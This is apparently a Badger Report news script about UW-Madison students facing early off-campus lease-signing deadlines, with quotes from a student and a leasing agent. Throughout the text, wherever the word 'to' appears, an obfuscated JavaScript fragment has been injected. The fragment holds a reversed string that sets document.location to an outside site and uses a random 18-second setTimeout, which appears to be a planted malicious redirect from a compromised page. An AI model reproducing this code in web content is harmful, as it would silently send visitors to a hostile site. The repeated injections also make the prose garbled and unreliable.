It’s that time of year again on campus as students rush tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to resign or look elsewhere for housing. The process is never easy and Ben Cross has an inside look at how its shaping up.

“They expect you tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have something signed, on paper, by Octobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tober 1st, which is just really crazy because you really don’t have a good sense of whether you like living in this kind of environment, whether this is where you can see yourself next year, stuff like that.”

That was Tommy Costello, a UW student and, because of a pen and paper, homeless after the current school year. Tommy is one of the many students in Madison that struggle with early off campus housing deadlines and is forced tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to sign a lease 11 months before ever living in the unit.

“In terms of that dynamic, that’s a really tricky situation tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to find yourself in because they want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to sign their lease and get the liability off their hands, but you still need tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to decide whether it’s the right thing for you.”

“With how many new apartment buildings we got going on, that’s what everyones method of operation is. We’ll get anywhere from 30 tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 40 showings a day.”

With only a few houses on the infamous Mifflin St and new apartments like the James, landlords have tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to push early deadlines tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to fill their leases and avoid lowering prices.

“I mean it’s a process that starts really early on in the lease period. I mean people just moved in August and we’re already asking them here, first week of Octobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tober what their plans are.”

Midterms may have just begun, but the real test for students at UW-Madison comes in the form of a security deposit. Their score comes at a price, however, as it doesn’t just affect a semester, but a whole year. For the Badger Report, I’m Ben Cross

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